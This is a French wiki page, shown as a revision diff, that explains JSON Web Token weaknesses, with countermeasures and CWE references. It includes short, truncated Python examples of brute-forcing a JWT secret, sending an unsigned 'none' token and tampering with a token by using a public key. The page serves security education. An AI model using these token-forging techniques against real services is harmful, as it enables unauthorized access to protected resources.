cyber:vulnerabilite:json_web_token
Différences
Ci-dessous, les différences entre deux révisions de la page.
cyber:vulnerabilite:json_web_token [2025/08/04 15:13] – créée admin | cyber:vulnerabilite:json_web_token [2025/08/04 15:26] (Version actuelle) – admin | ||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
====== JSON Web Token ====== | ====== JSON Web Token ====== | ||
+ | ===== Description ===== | ||
+ | **Un Json Web Token (JWT) est un standard utilisé pour l' | ||
+ | |||
+ | Un token JWT est un objet JSON **encodé en base64** qui contient des informations liées à l' | ||
+ | |||
+ | {{ : | ||
+ | |||
+ | Les JWT sont souvent utilisés pour l' | ||
+ | |||
+ | {{ : | ||
+ | |||
+ | Le JWT est composé de trois parties, séparées par un point : | ||
+ | * **Header** : le header décrit le type de JWT et l' | ||
+ | * **Payload** : le payload contient les informations liées au client, comme son identité et ses droits d' | ||
+ | * **Signature** : la signature est utilisée pour s' | ||
+ | |||
+ | {{ : | ||
+ | |||
+ | Il existe deux algorithmes couramment utilisés pour signer les JWT : RSA et HMAC : | ||
+ | * **RSA (Rivest-Shamir-Adleman)** : RSA est un algorithme de chiffrement asymétrique qui utilise une paire de clés publique/ | ||
+ | * **HMAC (Keyed-Hash Message Authentication Code)** : HMAC est un algorithme de hachage symétrique qui utilise une clé secrète partagée pour générer un hachage de message. Pour signer un JWT avec HMAC, le serveur utilise la clé secrète pour générer la signature. Le client peut vérifier la signature en utilisant la même clé secrète. | ||
+ | * | ||
+ | {{ : | ||
+ | |||
+ | ===== Prérequis d' | ||
+ | |||
+ | Pour exploiter cette famille de vulnérabilité, | ||
+ | |||
+ | ==== Connaissances nécessaires ==== | ||
+ | * Comprendre les cas d' | ||
+ | * Maîtriser la structure des JWT ; | ||
+ | * Maîtriser un langage de programmation à des fins d' | ||
+ | |||
+ | ==== Outils nécessaires ==== | ||
+ | * Utilisation d’outils de type **Burp Suite** ou **curl** pour la création/ | ||
+ | * Langage de programmation pour la manipulation des JWT (par exemple Python). | ||
+ | |||
+ | ===== Flux d' | ||
+ | ==== Explorer ==== | ||
+ | |||
+ | Naviguer sur l' | ||
+ | |||
+ | ==== Expérimenter ==== | ||
+ | |||
+ | Analyser la structure du JWT, identifier l' | ||
+ | |||
+ | ==== Exploiter ==== | ||
+ | |||
+ | ===== Conséquences potentielles ===== | ||
+ | |||
+ | L' | ||
+ | * L’accès à des ressources sensibles ; | ||
+ | * L’accès à des fonctionnalités sensibles. | ||
+ | |||
+ | ===== Contre-mesures ===== | ||
+ | |||
+ | Les contre-mesures suivantes peuvent être mises en œuvre : | ||
+ | * **Utiliser un secret et un algorithme forts** : la signature d'un JWT est utilisée pour s' | ||
+ | * **Vérifier la signature du JWT** : pour considérer un JWT comme valide, il est important de s' | ||
+ | * **Vérifier le payload du JWT** : avant d' | ||
+ | * **Transmettre les JWT de manière sécurisée** : pour éviter que les JWT ne soient volés et réutilisés, | ||
+ | |||
+ | ====== Comment cela fonctionne ====== | ||
+ | |||
+ | Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité : | ||
+ | * **Vol de jeton** : si un attaquant réussi à obtenir un JWT valide, il peut accéder aux ressources protégées sur le serveur en utilisant ce dernier ; | ||
+ | * **Secret faible** : si le secret utilisé lors de la signature du JWT est faible, un attaquant peut alors essayer de deviner ce secret afin de créer un JWT falsifié et ainsi accéder à des ressources protégées ; | ||
+ | * **Signature non vérifiée** : si le serveur ne réalise pas de vérification de la signature du JWT, un attaquant sera en mesure de facilement modifier le payload afin d' | ||
+ | |||
+ | |||
+ | {{ : | ||
+ | |||
+ | ===== Exemple 1 ===== | ||
+ | |||
+ | |||
+ | Voici un exemple de code Python qui consiste à exploiter une attaque type " | ||
+ | |||
+ | <code python> | ||
+ | import jwt | ||
+ | |||
+ | jwt_string = " | ||
+ | |||
+ | # liste de secrets | ||
+ | passwords = [" | ||
+ | |||
+ | for password in passwords: | ||
+ | try: | ||
+ | # décodage du JWT avec le secret | ||
+ | jwt.decode(jwt_string, | ||
+ | |||
+ | # en cas de décodage réussi | ||
+ | print(' | ||
+ | exit(1) | ||
+ | except: | ||
+ | print(' | ||
+ | |||
+ | </ | ||
+ | |||
+ | Dans ce code, nous commençons par définir le jeton JWT à attaquer, puis un tableau contenant les différents secrets à tester. Dans le cas ou le secret testé n'est pas valide, le message " | ||
+ | Ce code va donc tester de signer le token avec plusieurs secrets, jusqu' | ||
+ | |||
+ | ===== Exemple 2 ===== | ||
+ | |||
+ | Voici un exemple de code Python qui présente comment exploiter une vulnérabilité liée aux JWT en utilisant un JWT sans signature : | ||
+ | |||
+ | <code python> | ||
+ | import jwt | ||
+ | |||
+ | # JWT avec une signature " | ||
+ | jwt_string = " | ||
+ | |||
+ | # tentative d' | ||
+ | try: | ||
+ | # décodage du JWT | ||
+ | jwt.decode(jwt_string, | ||
+ | | ||
+ | # en cas de décodage réussi | ||
+ | print(' | ||
+ | exit(1) | ||
+ | except jwt.exceptions.InvalidSignatureError: | ||
+ | # echec de la vérification de la signature | ||
+ | </ | ||
+ | |||
+ | Dans ce code, nous commençons par définir le jeton JWT avec un algorithme de signature à " | ||
+ | |||
+ | Si le code côté serveur accepte que l' | ||
+ | |||
+ | ===== Exemple 3 ===== | ||
+ | |||
+ | Voici un exemple de code Python qui présente comment exploiter une vulnérabilité liée aux JWT en altérant le contenu du JWT grâce à une clé publique que l' | ||
+ | |||
+ | <code python> | ||
+ | import jwt | ||
+ | import rsa | ||
+ | |||
+ | jwt_string = " | ||
+ | |||
+ | public_key_string = ' | ||
+ | |||
+ | # utilisation de la clé publique | ||
+ | public_key = rsa.PublicKey.load_pkcs1(public_key_string) | ||
+ | |||
+ | # modification du JWT (changement du nom de l' | ||
+ | jwt_string_modified = jwt_string[: | ||
+ | |||
+ | # L' | ||
+ | try: | ||
+ | # décodage du JWT avec la clé publique | ||
+ | jwt_decoded = jwt.decode(jwt_string_modified, | ||
+ | except jwt.exceptions.InvalidSignatureError: | ||
+ | # echec de la vérification de la signature | ||
+ | print(" | ||
+ | </ | ||
+ | |||
+ | Dans ce code, l' | ||
+ | |||
+ | ====== CWEs ====== | ||
+ | |||
+ | * [[https:// | ||
+ | * When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. | ||
+ | |||
+ | * [[https:// | ||
+ | * The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect. | ||
+ | |||
+ | ====== References ====== | ||
+ | |||
+ | URL : | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | |||
+ | ====== Retour fiches vulnérabilités ====== | ||
+ | * [[cyber: | ||
+ | |||
cyber/vulnerabilite/json_web_token.1754313189.txt.gz · Dernière modification : 2025/08/04 15:13 de admin